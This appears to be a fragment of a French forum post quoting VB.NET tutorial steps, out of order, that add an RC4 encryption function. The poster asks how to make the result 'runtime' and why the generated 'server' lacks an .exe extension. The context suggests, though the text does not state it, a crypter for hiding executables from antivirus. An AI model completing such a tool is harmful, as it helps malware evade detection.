6. Put this anywhere but not in the sub

        Me.Close()
        End
 
4. Once again add this RC4 Encryption put it anywhere but the sub.
Code:
 
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New StringBuilder
        Dim returnCipher As String = String.Empty
        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}
        Dim intLength As Integer = password.Length
        Dim a As Integer = 0
        While a <= 255
            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
            key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
            sbox(a) = a
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        Dim x As Integer = 0
        Dim b As Integer = 0
        While b <= 255
            x = (x + sbox(b) + key(b)) Mod 256
            Dim tempSwap As Integer = sbox(b)
            sbox(b) = sbox(x)
            sbox(x) = tempSwap
            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
        End While
        a = 1
        While a <= message.Length
            Dim itmp As Integer = 0
            i = (i + 1) Mod 256
            j = (j + sbox(i)) Mod 256
            itmp = sbox(i)
            sbox(i) = sbox(j)
            sbox(j) = itmp
            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
            itmp = Asc(ctmp)
            Dim cipherby As Integer = itmp Xor k
            cipher.Append(Chr(cipherby))
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        returnCipher = cipher.ToString
        cipher.Length = 0
        Return returnCipher
    End Function

alors comment le rentre runtime j y arrive pas , et pourquoi quand je crée un serveur il n a pas l extension exe ??

merci
